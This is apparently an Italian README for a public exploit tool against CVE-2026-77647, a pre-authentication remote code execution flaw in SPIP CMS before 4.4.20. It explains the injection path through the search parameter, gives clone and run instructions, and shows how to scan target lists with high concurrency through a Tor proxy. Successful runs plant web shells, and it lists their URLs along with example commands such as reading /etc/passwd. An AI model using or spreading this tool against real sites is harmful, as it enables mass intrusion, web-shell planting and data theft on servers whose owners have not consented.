
SPIP prima della 4.4.20 consente ad attaccanti remoti non autenticati di eseguire codice arbitrario
SPIP prima della 4.4.20 consente ad attaccanti remoti non autenticati di eseguire codice arbitrario
Esecuzione di codice remoto pre-autenticazione in SPIP CMS — Tutte le versioni precedenti alla 4.4.20
CVE-2026-77647 è una vulnerabilità critica di esecuzione di codice remoto (RCE) non autenticata che interessa tutte le versioni di SPIP CMS precedenti alla 4.4.20.
La falla consente a un attaccante remoto — senza alcuna autenticazione o interazione dell'utente — di eseguire codice PHP arbitrario sul server di destinazione. È stata attivamente sfruttata in the wild a partire da agosto 2026, spingendo il team di SPIP a rilasciare una patch di emergenza.
Questo strumento automatizza il rilevamento e lo sfruttamento di questa vulnerabilità su più target con concorrenza configurabile.
| Campo | Dettagli |
|---|---|
| CVE ID | CVE-2026-77647 |
| Software interessato | SPIP CMS |
| Versioni interessate | Tutte le versioni precedenti alla 4.4.20 |
| Tipo | Esecuzione di codice remoto (RCE) non autenticata |
| CWE | CWE-94 — Controllo improprio della generazione di codice (Code Injection) |
| Punteggio CVSS 3.1 | 9.8 / 10 — CRITICO |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Nessuna richiesta (Pre-Auth) |
| Sfruttamento | Attivamente sfruttata in the wild (agosto 2026) |
| Patch | SPIP 4.4.20 (Advisory) |
| Metrica | Valore | Significato |
|---|---|---|
| Vettore di attacco | Network | Sfruttabile da remoto via internet |
| Complessità di attacco | Bassa | Nessuna condizione particolare richiesta |
| Privilegi richiesti | Nessuno | Nessuna autenticazione necessaria |
| Interazione utente | Nessuna | Nessuna azione della vittima richiesta |
| Ambito | Invariato | Impatto limitato al sistema vulnerabile |
| Riservatezza | Alta | Accesso completo in lettura a tutti i dati |
| Integrità | Alta | Accesso completo in scrittura / modifica |
| Disponibilità | Alta | Completa negazione del servizio possibile |
La vulnerabilità deriva da due problemi interagenti nel motore di template di SPIP:
Identificazione errata dei blocchi <?php — il motore di template di SPIP non riesce a sanificare correttamente i tag di apertura PHP all'interno di input controllati dall'utente, in particolare nel parametro di ricerca (recherche).
Gestione errata di var_export — la funzione var_export() di PHP gestisce in modo errato alcuni casi limite, in particolare quando l'input contiene il carattere <, consentendo l'iniezione di codice PHP eseguibile.
User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval
L'attaccante invia un payload appositamente costruito tramite la funzionalità di ricerca di SPIP (?page=recherche&recherche=PAYLOAD). Il payload sfrutta il meccanismo dell'header HTTP X-Spip-Filtre per attivare html_entity_decode, che decodifica il codice PHP iniettato. Il codice decodificato viene quindi valutato dal motore di rendering dei template di SPIP, ottenendo l'esecuzione di codice arbitrario.
┌──────────────────────┐
│ Attacker Machine │
└──────────┬───────────┘
│
│ GET /spip.php?page=recherche&recherche=<PAYLOAD>
▼
┌──────────────────────┐
│ SPIP Application │
│ │
│ 1. Receives search │
│ 2. var_export() │──── Mishandles '<' character
│ 3. X-Spip-Filtre │──── html_entity_decode
│ 4. Template eval │──── Executes injected PHP
│ │
└──────────┬───────────┘
│
│ file_put_contents() → PHP Web Shell
▼
┌──────────────────────┐
│ Web Shell Active │
│ Full RCE Achieved │
└──────────────────────┘
git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests
Crea un file chiamato list.txt (o qualsiasi nome personalizzato) con un target per riga:
https://target1.com
https://target2.com
http://192.168.1.100
target3.com
Nota: I target senza schema (
http://ohttps://) userannohttp://come predefinito.
python CVE-2026-77647.py
Lo strumento ti chiederà:
[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
| Velocità | Thread | Timeout | Profilo |
|---|---|---|---|
1 — Lenta | 5 | 25s | 🔇 Furtivo |
2 — Normale | 10 | 15s | ⚖️ Bilanciato |
3 — Veloce | 25 | 12s | ⚡ Aggressivo |
4 — Ultra | 50 | 10s | 🔥 Massimo |
[?] Proxy (blank = none): socks5://127.0.0.1:9050
Supporta proxy HTTP/HTTPS/SOCKS per l'anonimizzazione.
I risultati ottenuti con successo vengono salvati in shells.txt:
https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk
Esecuzione dei comandi:
https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd
Interfaccia di caricamento file:
https://target.com/Nx_.php?k=nXk
Composed-By e fingerprinting della paginaIMG/, tmp/ e local/